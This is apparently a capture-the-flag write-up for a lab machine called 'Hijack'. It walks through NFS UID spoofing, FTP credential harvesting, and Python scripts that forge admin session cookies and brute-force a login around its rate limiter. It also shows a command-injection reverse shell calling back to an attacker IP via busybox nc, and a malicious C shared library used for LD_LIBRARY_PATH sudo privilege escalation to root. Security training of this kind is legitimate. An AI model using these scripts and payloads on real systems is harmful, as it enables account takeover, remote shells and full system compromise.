Hijack

Misconfigs conquered, identities claimed. - by amine04

Recon

By scanning our target with Nmap, we can discover several open ports. Notable services are FTP on port 21, SSH on port 22, a web server on port 80, Microsoft Windows RPC on port 111 with multiple 4xxxx ports, and the NFS access control list on port 2049.

21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
33311/tcp open  mountd   1-3 (RPC #100005)
40915/tcp open  mountd   1-3 (RPC #100005)
43712/tcp open  nlockmgr 1-4 (RPC #100021)
45385/tcp open  mountd   1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

After finishing the Nmap scan, we run a Gobuster scan to enumerate all possible files and directories.

While the Gobuster scan is running, the website can be inspected manually. Four links are present, of which three are of interest, directing to an administration portal, a login page and a signup page.

Access to the administration page without proper permissions is denied.

Next, we check out the login page. Providing a arbitrary user, we see that we are able to enumerate users since we received the message: "No account found with that username.".

First, we try to access the page with the default credentials admin:admin and get a hit. The user is present, but the password used is not valid. Since we now have a user, referencing an administrator, we just need the password, right? The first attempt was a brute force via a little Python script using rockyou.txt as a wordlist. But after a short test, it was clear that this attempt might not lead to any results because a rate limiter was implemented, locking the attempted user for 300 seconds after five wrong password inputs.

Foothold

So, the idea now is to gather more information; maybe a hint or credentials can be found at the FTP or NFS.

NFS + FTP

The first attempt was made at the FTP with an anonymous login, but it did not work out. Access via anonymous is not possible. But there is also another service running that is similar to SMB, the NFS service. A short walkthrough can be found at HackTricks on how to enumerate and exploit NFS:

To list all available folders the following command can be prompted.

showmount -e hijack.thm

We see that a share is available:

Via mounting, the share can be accessed. Looking at the permission, it's owned by a user with the UID 1003 and is fully restricted to the user. Since our current user does not have that UID we cannot do anything with the share.

mount -t nfs <ip>:<remote_folder> <local_folder> -o nolock

But it is possible to access the share by creating a user on the machine we own with the UID to access the share:

After adding the use, we are able to access the share and see a note called for_employees.txt. In the file, the credentials of the FTP user can be found: ftpuser:[REDACTED]

Via wget all content is recursively downloaded. We have a note from the admin informing the users to use the passwords from the .password_list.txt; those don't appear in other wordlists and are considered safe for that reason by the admin. He also uses a password from the list. Nice.

wget -r --user="ftpuser" --password="REDACTED" ftp://hijack.thm/

Sesssion Hijacking - The Intended Way

During the enumeration process, we created a test user user:userpass123 to see what it could do on the platform. In fact, this user has no rights, but we see that a session cookie was created for the user after logging in.

On the first sight, we see that it is base64 encoded. Decoding it via CyberChef reveals its plaintext structure. It's the name of the user and an MD5 hash concatenated with a colon.

Hashing different kinds of combinations of username and password, we see that only the password gets hashed. With that information, we can build a Python script that is able to craft session cookies for the admin user with the help of the found password list, which will then be checked when accessing administration.php. This was the second successful approach; the first, also successful, was to brute force the login even though a rate limiter was implemented.

session_hijack.py
import requests
import re 
import hashlib
import base64

file_path = 'hijack.thm/.passwords_list.txt'  
passwords = []  
md5 = hashlib.md5()
_fail = r"Access denied"

with open(file_path, 'r') as file:
    for line in file:
        passwords.append(line.strip()) 
for password in passwords:

    hashed_password = hashlib.md5(str(password).encode('utf-8')).hexdigest()

    plain = "admin:" + hashed_password
    encoded_bytes = base64.b64encode(plain.encode('utf-8'))
    sessionid = encoded_bytes.decode('utf-8')

    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/administration.php',
            'Cookie': 'PHPSESSID='+sessionid,
            'Upgrade-Insecure-Requests': '1'
    }
    url = 'http://hijack.thm/administration.php'

    response = requests.post(url, headers=headers)
    text = response.text
    fail = re.findall(_fail,text)
    if(len(fail) == 0):
        print("valid session found: " + sessionid)

Brute Forcing - The Unintended Way

This was the first successful attempt, which took a lot of time and is not recommended.

The script tries every password until the account is locked, and continues with the next password if the account gets unlocked again.

brute_force.py
import requests
import re 
import time

file_path = 'hijack.thm/.passwords_list.txt'
index = 0
seconds = 0
_exceeded = r"exceeded"
_fail = r"not valid"
lines = []  

with open(file_path, 'r') as file:
    for line in file:
        lines.append(line.strip()) 
while index < len(lines):
    
    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/login.php',
            'Cookie': 'PHPSESSID=va4q1sfgcrdqfj9kr0c7ej7jv4',
            'Upgrade-Insecure-Requests': '1'
    }

        
    data = {
            'username': 'admin',
            'password': lines[index]
    }
    print("try password {0}", lines[index], end='\r')

    
    url = 'http://hijack.thm/login.php'

    
    response = requests.post(url, headers=headers, data=data)

    text = response.text
    exceeded = re.findall(_exceeded,text)
    fail = re.findall(_fail,text)
    if(len(exceeded) != 0):
        seconds += 1
        print("status exceeded " + lines[index] + "sec: " + str(seconds), end='\r')
    elif(len(fail) != 0):
        print("status wrong " + lines[index], end='\r')
        seconds = 0
        index +=1
    else:
        print("found valid password " + lines[index] + " at " + str(index))
        file_path = 'output.txt'  
        with open(file_path, 'w') as file:
        
           file.write("\n"+ lines[index] +"\n")
        break;
    time.sleep(1)

Getting A Reverse Shell

After getting the session cookie or the credentials of the admin user, we are able to access the administration panel. There we have a status checker for services that looks like it could be vulnerable to command injection.

And a simple test via command substitution shows that command injection is possible:

Next, we try several payloads from revshells.com. The following one worked flawlessly because none of the filtered characters were present.

$(busybox nc 10.9.31.94 4445 -e /bin/bash)

We connect, upgrade the shell and start enumerating the target as the user www-data.

on

The first move was to install linpeas. With linpeas credentials in config.php could be located.

Privilege Escalation

In the config.php of the web application, we find the credentials of rick for MySQL. This user was also mentioned in the note from the admin and is also a user of the system locatable in /etc/passwd.

First Flag

Maybe those credentials were reused. We try to change the user with the found credentials, and we are able to switch to the user rick. In the home directory of rick we find the first flag.

Second Flag

On enumerating the user rick, we see that Apache2 is executable via sudo by providing rick's password. And the LD_LIBRARY_PATH, which contains a list of directories that search for shared libraries first, is kept. This allows us to load a custom library, for example, containing code to run a shell to escalate privileges.

Programs running via sudo can inherit variables from the environment of the user. If the env_reset option is set in the /etc/sudoers config file, sudo will run the programs in a new, minimal environment. The env_keep option can be used to keep certain environment variables from the user’s environment. The configured options are displayed when running sudo -l.

We print the shared libraries used by Apache2 and use one of the shared objects in the list to hijack it by creating a file with the same name.

Implement a short C program that replaces one of the listed libraries.

hijack.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

Next, we just have to compile it with the exact name, here libcrypt.so.1.

gcc -o /tmp/libcrypt.so.1 -shared -fPIC hijack.c

With the custom libcrypt.so.1 at hand, we run the Apache2 command and set the LD_LIBRARY_PATH variable to the location of our library. After executing the command, we become root.

sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

Now we are able to reach the root's home directory and capture the last flag.

Last updated